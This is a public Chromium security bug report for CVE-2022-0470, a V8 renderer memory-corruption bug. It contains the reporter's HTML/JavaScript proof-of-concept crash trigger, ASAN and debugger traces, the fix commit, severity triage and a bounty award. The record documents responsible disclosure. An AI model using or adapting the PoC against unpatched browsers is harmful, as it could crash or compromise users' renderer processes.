Starred by 3 users

Owner:	adetaylor@chromium.org
CC:	syg@chromium.org amyressler@chromium.org ios-bugs-priority@chromium.org vahl@chromium.org leszeks@chromium.org ios-bugs@chromium.org verwa...@chromium.org ishell@chromium.org ecmziegler@google.com
Status:	Fixed *(Closed)*
Components:	Blink>JavaScript>Runtime Blink>JavaScript
Modified:	Jul 21, 2022
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, iOS, Chrome, Mac, Fuchsia, Lacros
Pri:	1
Type:	Bug-Security

reward-5000
Security_Severity-High
allpublic
reward-inprocess
CVE_description-submitted
external_security_report
FoundIn-94
Security_Impact-Extended
V8-postmortem
Release-0-M98
CVE-2022-0470
V8-postmortem-obsolete

Issue 1269225: Security: Memory corruption in renderer process

Reported by loobe...@gmail.com on Thu, Nov 11, 2021, 6:41 AM EST

Code

VULNERABILITY DETAILS

Specifically crafted HTML file can trigger a memory corruption in renderer process. This bug may be potentially exploited to achieve one click remote code execution in renderer process.

Open the PoC MemCorruption_renderer_PoC.html in chrome browser, the renderer process would crash in various locations because of memory corruption. The crash site I pasted at the bottom was the I consistently got most of the time when running this exact PoC on my machine. It's possible you may get a different stack trace when you reproduce it.

Ran the PoC in ASAN build, ASAN instrumentation could not catch the memory corruption. Rather, the internal state of the asan allocator itself was corrupted. And the ASAN build always crashes with the following check failure:

AddressSanitizer: CHECK failed: asan_allocator.cpp:211 "((old_chunk_state)) == ((CHUNK_QUARANTINE))" (0x1, 0x3) (tid=19236)

#0 0x7ff75a17ae57 in __asan::CheckUnwind C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_rtl.cpp:67
#1 0x7ff75a18bdc5 in __sanitizer::CheckFailed C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\sanitizer_common\sanitizer_termination.cpp:86
#2 0x7ff75a15d69f in __asan::QuarantineCallback::Recycle C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_allocator.cpp:211
#3 0x7ff75a15d41c in __sanitizer::Quarantine<__asan::QuarantineCallback,__asan::AsanChunk>::DoRecycle C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\sanitizer_common\sanitizer_quarantine.h:193
#4 0x7ff75a15d188 in __sanitizer::Quarantine<__asan::QuarantineCallback,__asan::AsanChunk>::Recycle C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\sanitizer_common\sanitizer_quarantine.h:181
#5 0x7ff75a15d003 in __sanitizer::Quarantine<__asan::QuarantineCallback,__asan::AsanChunk>::Drain C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\sanitizer_common\sanitizer_quarantine.h:121
#6 0x7ff75a15f3a9 in __asan::Allocator::QuarantineChunk C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_allocator.cpp:666
#7 0x7ff75a15b715 in __asan::asan_free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_allocator.cpp:956
#8 0x7ff75a1722e6 in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:83
#9 0x7ffdc71435e6 in v8::internal::Worklist<v8::internal::TransitionArray,64>::~Worklist C:\b\s\w\ir\cache\builder\src\v8\src\heap\worklist.h:79
#10 0x7ffdc71f6aec in v8::internal::ScavengerCollector::CollectGarbage C:\b\s\w\ir\cache\builder\src\v8\src\heap\scavenger.cc:458
#11 0x7ffdc7053a37 in v8::internal::Heap::Scavenge C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:2640
#12 0x7ffdc704a904 in v8::internal::Heap::PerformGarbageCollection C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:2194
#13 0x7ffdc7042218 in v8::internal::Heap::CollectGarbage C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:1799
#14 0x7ffdc706aa1f in v8::internal::Heap::AllocateRawWithLightRetrySlowPath

C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:5462
#15 0x7ffdc706ada7 in v8::internal::Heap::AllocateRawWithRetryOrFailSlowPath

C:\b\s\w\ir\cache\builder\src\v8\src\heap\heap.cc:5479
#16 0x7ffdc6fc3fbc in v8::internal::Factory::NewFillerObject
C:\b\s\w\ir\cache\builder\src\v8\src\heap\factory.cc:386
#17 0x7ffdc7cc49e0 in v8::internal::Runtime_AllocateInYoungGeneration
C:\b\s\w\ir\cache\builder\src\v8\src\runtime\runtime-internal.cc:456
#18 0x7eee07f090bb (<unknown module>)

So the bug is likely to be in some uninstrumented code or misue of an uninstrumented library.

VERSION

Google Chrome 97.0.4692.8 (Official Build) dev (64-bit) (cohort: Dev)
Revision 13b40fdad99a16c4d5524ca420ca328a648bb6a6-refs/branch-heads/4692@{#35}
OS Windows 10 Version 21H1 (Build 19043.1348)
JavaScript V8 9.7.106.2

REPRODUCTION CASE (MemCorruption_renderer_PoC.html)

```
<script>
function usemem()
{
  for (var i = 0; i < 0x10000; ++i)
      var s = new String('AAAA');
};
counter = 0;
performMicrotaskCheckpoint = () => {
      document.createNodeIterator(document, -1, {
          acceptNode() {
        return NodeFilter.FILTER_ACCEPT;
      } }).nextNode();
}
clipItem = new ClipboardItem({ "text/html": new Blob(["AAAAAAAAAAAAA"], { type: "text/html" }) });;
caches.keys().then(blob => {}).catch(e=>{});
Object.prototype.__defineGetter__("then", function() { counter++; if (counter > 80) return;
      navigator.mediaDevices.getUserMedia({}).then(() => { }).catch(e=>{});
      performMicrotaskCheckpoint();
      usemem();
      clipItem.getType(clipItem.types[0]).then(blob => {}).catch(e=>{});
});

setTimeout(function(){location.reload();},1000);
</script>
```

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: tab
Crash State:

(48e4.3eb4): Access violation - code c0000005 (!!! second chance !!!)

chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >

>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::destroy+0x13:
00007ffd`eafb5c93 488b09 mov rcx,qword ptr [rcx] ds:4000004d`6200755e=????????????????

5:197> r
rax=0000000000000000 rbx=0000000000000000 rcx=4000004d6200755e
rdx=00004d62000f8058 rsi=4000004d6200755e rdi=0000000000000000
rip=00007ffdeafb5c93 rsp=000000f02b7fe860 rbp=0000000000000000
r8=0000000000000000 r9=00007ffe74a9c620 r10=00000fffbd60e3f4
r11=0010000000040000 r12=000000f02b7fee10 r13=aaaaaaaaaaaaaaaa
r14=00004d620077b000 r15=0000000000000001
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::destroy+0x13:
00007ffd`eafb5c93 488b09 mov rcx,qword ptr [rcx] ds:4000004d`6200755e=????????????????
5:197> dv
__na = <value unavailable>
this = <value unavailable>
__nd = 0x4000004d`6200755e
5:197> k
Child-SP RetAddr Call Site
00 000000f0`2b7fe860 00007ffd`eafb5c9b
chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::destroy+0x13 [C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__tree @ 1798]
01 000000f0`2b7fe890 00007ffd`eafb5c9b
chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >

>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c

har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::destroy+0x1b [C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__tree @ 1799]
02 000000f0`2b7fe8c0 00007ffd`eafb5c9b
chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::destroy+0x1b [C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__tree @ 1799]
03 000000f0`2b7fe8f0 00007ffd`eafb5c9b
chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::destroy+0x1b [C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__tree @ 1799]
04 000000f0`2b7fe920 00007ffd`e8a5aed1
chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::destroy+0x1b [C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__tree @ 1799]
05 (Inline Function) --------`--------
chrome!std::__1::__tree<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::__map_value_compare<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> >
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,1>,std::__1::allocator<std::__1::__value_type<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<c
har> >,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > >
>::~__tree+0x9 [C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__tree @ 1789]
06 (Inline Function) --------`--------
chrome!std::__1::map<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler>
>,std::__1::less<std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char> >
>,std::__1::allocator<std::__1::pair<const std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>
>,std::__1::unique_ptr<extensions::NativeHandler,std::__1::default_delete<extensions::NativeHandler> > > > >::~map+0x9
[C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include\map @ 1103]
07 000000f0`2b7fe950 00007ffd`e89fbf98 chrome!extensions::ModuleSystem::~ModuleSystem+0x71
[C:\b\s\w\ir\cache\builder\src\extensions\renderer\module_system.cc @ 203]

08 (Inline Function) --------`-------- chrome!std::__1::default_delete<extensions::ModuleSystem>::operator()+0x8
[C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__memory\unique_ptr.h @ 54]
09 (Inline Function) --------`--------

09 (Inline Function) -------- --------
chrome!std::__1::unique_ptr<extensions::ModuleSystem,std::__1::default_delete<extensions::ModuleSystem> >::reset+0x19
[C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__memory\unique_ptr.h @ 315]
0a (Inline Function) --------`--------
chrome!std::__1::unique_ptr<extensions::ModuleSystem,std::__1::default_delete<extensions::ModuleSystem>
>::~unique_ptr+0x19 [C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include__memory\unique_ptr.h @ 269]
0b 000000f0`2b7fe990 00007ffd`e89fbef2 chrome!extensions::ScriptContext::~ScriptContext+0x88
[C:\b\s\w\ir\cache\builder\src\extensions\renderer\script_context.cc @ 207]
0c 000000f0`2b7feb30 00007ffd`eaebe47a chrome!base::DeleteHelper<extensions::ScriptContext>::DoDelete+0x12
[C:\b\s\w\ir\cache\builder\src\base\task\sequenced_task_runner_helpers.h @ 26]
0d (Inline Function) --------`-------- chrome!base::OnceCallback<void ()>::Run+0x17
[C:\b\s\w\ir\cache\builder\src\base\callback.h @ 142]
0e 000000f0`2b7feb60 00007ffd`eaebd52e chrome!base::TaskAnnotator::RunTaskImpl+0x18a
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc @ 157]
0f (Inline Function) --------`-------- chrome!base::TaskAnnotator::RunTask+0x1d
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h @ 73]
10 (Inline Function) --------`--------
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x22a
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 356]
11 000000f0`2b7fec10 00007ffd`e9b04022
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0x2be
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 261]
12 000000f0`2b7fede0 00007ffd`e8f0aa6e chrome!base::MessagePumpDefault::Run+0xe2
[C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc @ 40]
13 000000f0`2b7fee90 00007ffd`e900e5c9
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0x8e
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 471]
14 000000f0`2b7fef00 00007ffd`e8e8a4f7 chrome!base::RunLoop::Run+0x1c9
[C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 142]
15 000000f0`2b7ff040 00007ffd`e8e87f2c chrome!content::RendererMain+0x2c7
[C:\b\s\w\ir\cache\builder\src\content\renderer\renderer_main.cc @ 266]
16 (Inline Function) --------`-------- chrome!content::RunOtherNamedProcessTypeMain+0xd3
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 670]
17 000000f0`2b7ff1f0 00007ffd`e8ea2812 chrome!content::ContentMainRunnerImpl::Run+0x1cc
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1007]
18 (Inline Function) --------`-------- chrome!content::RunContentProcess+0x11d
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 390]
19 000000f0`2b7ff2c0 00007ffd`e8ea186a chrome!content::ContentMain+0x152
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 418]
1a 000000f0`2b7ff4b0 00007ff7`8d36954c chrome!ChromeMain+0x18a
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc @ 175]
1b 000000f0`2b7ff5c0 00007ff7`8d3690d7 chrome_exe!MainDllLoader::Launch+0x30c
[C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc @ 170]
1c 000000f0`2b7ff840 00007ff7`8d3aea62 chrome_exe!wWinMain+0xc37
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc @ 382]
1d (Inline Function) --------`-------- chrome_exe!invoke_main+0x21
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 118]
1e 000000f0`2b7ffc70 00007ffe`72bf7034 chrome_exe!__scrt_common_main_seh+0x106
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
1f 000000f0`2b7ffcb0 00007ffe`74a62651 KERNEL32!BaseThreadInitThunk+0x14
20 000000f0`2b7ffce0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

MemCorruption_renderer_PoC.html
768 bytes View Download

Comment 1 by sheriffbot on Thu, Nov 11, 2021, 6:46 AM EST Project Member

Labels: external_security_report

Comment 2 by ClusterFuzz on Thu, Nov 11, 2021, 1:46 PM EST Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6309073278271488.

Comment 3 by tsepez@chromium.org on Thu, Nov 11, 2021, 1:48 PM EST Project Member

Components: Blink>JavaScript

Comment 4 by tsepez@chromium.org on Thu, Nov 11, 2021, 2:40 PM EST Project Member

Status: Available (was: Unconfirmed)
Components: Tools>LLVM

Adding tools folks as this may be an issue in ASAN itself rather than with chrome.

Comment 5 by aeuba...@google.com on Thu, Nov 11, 2021, 2:46 PM EST Project Member

If I'm reading the original report correctly, it repros in a non-ASan build, so I don't think this is an ASan-specific issue.

Comment 6 by tsepez@chromium.org on Thu, Nov 11, 2021, 2:53 PM EST Project Member

Status: Assigned (was: Available)
Owner: kcc@chromium.org
Labels: Security_Severity-High

kcc, could you re-assign as appropriate? I'm not sure who is working on ASAN these days. I'd like to rule out that this is an ASAN bug before handing off to v8.

Comment 7 by tsepez@chromium.org on Thu, Nov 11, 2021, 3:00 PM EST Project Member

Owner: ishell@chromium.org
Labels: Pri-2
Components: -Tools>LLVM

Yep, it crashes in non-asan. Not sure how I missed this. Over to v8 triage.

Comment 8 by tsepez@chromium.org on Thu, Nov 11, 2021, 3:16 PM EST Project Member

Repro'd locally on my linux build, despite CF seeming to not hit it.

Comment 9 by ishell@chromium.org on Fri, Nov 12, 2021, 4:57 AM EST Project Member

Status: Started (was: Assigned)

Comment 10 by sheriffbot on Fri, Nov 12, 2021, 1:08 PM EST Project Member

Labels: -Pri-2 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 11 by ishell@chromium.org on Fri, Nov 12, 2021, 3:05 PM EST Project Member

Cc: syg@chromium.org
Components: Blink>JavaScript>Runtime

The fix is on the way.

Comment 12 by Git Watcher on Fri, Nov 12, 2021, 4:16 PM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8/+/79f617b009c4d8128413a07abed7f0fbe5b65308

commit 79f617b009c4d8128413a07abed7f0fbe5b65308
Author: Igor Sheludko <ishell@chromium.org>
Date: Fri Nov 12 20:31:44 2021

[runtime][api] Fix tracking of entered contexts

The entered contexts stack must be in sync with the flags stack.

~~Bug: chromium:1269225~~
Change-Id: Ibb522286b47866d5f13aaec1a0a02914c13a5545
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3279680
Commit-Queue: Igor Sheludko <ishell@chromium.org>
Commit-Queue: Shu-yu Guo <syg@chromium.org>
Auto-Submit: Igor Sheludko <ishell@chromium.org>
Reviewed-by: Shu-yu Guo <syg@chromium.org>
Cr-Commit-Position: refs/heads/main@{#77882}

[modify] https://crrev.com/79f617b009c4d8128413a07abed7f0fbe5b65308/src/api/api.h
[modify] https://crrev.com/79f617b009c4d8128413a07abed7f0fbe5b65308/src/api/api.cc
[modify] https://crrev.com/79f617b009c4d8128413a07abed7f0fbe5b65308/src/builtins/builtins-microtask-queue-gen.cc
[modify] https://crrev.com/79f617b009c4d8128413a07abed7f0fbe5b65308/src/api/api-inl.h

Comment 13 by ishell@chromium.org on Fri, Nov 12, 2021, 6:40 PM EST Project Member

Status: Fixed (was: Started)

Comment 14 by sheriffbot on Fri, Nov 12, 2021, 6:42 PM EST Project Member

Status: Assigned (was: Fixed)

Dear owner, thanks for fixing this bug. We've reopened it because security bugs need Security_Severity and FoundIn labels set, which will enable the bots to request merges to the correct branches (as well as helping out our vulnerability reward and CVE processes). Please consult with any Chrome security contact (security@chromium.org) to arrange to set these labels and then this bug can be marked closed again. Thank you! Severity guidelines: https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/security/severity-guidelines.md#severity-guidelines-for-security-issues FoundIn guidelines: https://chromium.googlesource.com/chromium/src/+/main/docs/security/security-labels.md#labels-relevant-for-any-type_bug_security Thanks for your time!

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 15 by ishell@chromium.org on Fri, Nov 12, 2021, 6:53 PM EST Project Member

Status: Fixed (was: Assigned)
Labels: -Security_Severity-High Security_Severity-Low FoundIn-94 OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows OS-iOS OS-Lacros

This is a OOB write to a byte array where the value written is always 0x1 and the OOB distance is not that simple to control. Given that, I think the security severity is low. The bug seems to be there since 2018, so setting FoundIn to the oldest stable.

Comment 16 by sheriffbot on Fri, Nov 12, 2021, 6:54 PM EST Project Member

Status: Assigned (was: Fixed)

Dear owner, thanks for fixing this bug. We've reopened it because security bugs need Security_Severity and FoundIn labels set, which will enable the bots to request merges to the correct branches (as well as helping out our vulnerability reward and CVE processes). Please consult with any Chrome security contact (security@chromium.org) to arrange to set these labels and then this bug can be marked closed again. Thank you! Severity guidelines: https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/security/severity-guidelines.md#severity-guidelines-for-security-issues FoundIn guidelines: https://chromium.googlesource.com/chromium/src/+/main/docs/security/security-labels.md#labels-relevant-for-any-type_bug_security Thanks for your time!

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 17 by sheriffbot on Fri, Nov 12, 2021, 6:54 PM EST Project Member

Labels: Security_Impact-Extended

Comment 18 by ishell@chromium.org on Fri, Nov 12, 2021, 6:59 PM EST Project Member

Status: Fixed (was: Assigned)

The labels look ok, closing again.

Comment 19 by sheriffbot on Mon, Nov 15, 2021, 12:46 PM EST Project Member

Labels: reward-topanel

Comment 20 by sheriffbot on Mon, Nov 15, 2021, 1:46 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 21 by amyressler@chromium.org on Mon, Jan 31, 2022, 7:24 PM EST Project Member

Labels: Release-0-M98

Comment 22 by amyressler@google.com on Tue, Feb 1, 2022, 12:43 PM EST Project Member

Labels: CVE-2022-0470 CVE_description-missing

Comment 23 by sheriffbot on Sat, Feb 19, 2022, 1:28 PM EST Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 24 by loobe...@gmail.com on Sun, Mar 6, 2022, 8:24 PM EST

Would this bug be considered for a bounty? After all it's a out of bound write memory corruption bug.

Comment 25 by leszeks@google.com on Mon, Mar 7, 2022, 2:09 AM EST Project Member

Owner: adetaylor@chromium.org

It should have been sent to the panel -- Ade, did we get the labels on this wrong?

Comment 26 by vahl@chromium.org on Mon, Mar 7, 2022, 2:59 AM EST Project Member

Cc: amyressler@chromium.org

Comment 27 by adetaylor@chromium.org on Mon, Mar 7, 2022, 10:56 AM EST Project Member

Labels are good. The panel unfortunately has a backlog at the moment, but they will get to this!

Comment 28 by ajgo@google.com on Wed, Mar 23, 2022, 12:46 PM EDT Project Member

Labels: -Security_Severity-Low Security_Severity-High

remarking as High as renderer RCE for the stats. Thanks for fixing and discussion.

Comment 29 by amyressler@google.com on Wed, Mar 23, 2022, 3:46 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-5000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 30 by amyressler@chromium.org on Wed, Mar 23, 2022, 4:26 PM EDT Project Member

Congratulations! The VRP Panel has decided to award you $5,000 for this report. Apologies for the delay in reward decision as we are working through a backlog of low severity issues for reward decision. Thank you for your efforts and reporting this issue to us!

Comment 31 by sheriffbot on Fri, Mar 25, 2022, 4:35 AM EDT Project Member

Labels: V8-postmortem

This high+ V8 security issue with stable impact requires a lightweight post mortem. Please take some time to answer questions asked in this form [1] to help us improve V8 security. [1] https://docs.google.com/forms/d/e/1FAIpQLSdSMCiEpIFLLFkMbgtulK1sf1B-idQmkFaA4XP2Rz5mN1cqWg/viewform?usp=pp_url&entry.307501673=1269225&entry.364066060=External&entry.958145677=Android&entry.958145677=Chrome&entry.958145677=Fuchsia&entry.958145677=Linux&entry.958145677=Mac&entry.958145677=Windows&entry.958145677=iOS&entry.958145677=Lacros&entry.763880440=Extended&entry.1678852700=High&entry.763402679=Blink>JavaScript,Blink>JavaScript>Runtime&entry.975983575=adetaylor@chromium.org Please ensure to copy the full link, as otherwise some issue meta data might not be populated automatically

some issue meta data might not be populated automatically.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 32 by amyressler@google.com on Fri, Mar 25, 2022, 5:25 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 33 by amyressler@google.com on Tue, Apr 5, 2022, 4:07 PM EDT Project Member

Labels: CVE_description-submitted -CVE_description-missing

Comment 34 by ishell@chromium.org on Tue, May 24, 2022, 4:59 AM EDT Project Member

Labels: V8-postmortem-obsolete

Comment 35 by amyressler@chromium.org on Thu, Jul 21, 2022, 6:29 PM EDT Project Member

Labels: -CVE_description-missing --CVE_description-missing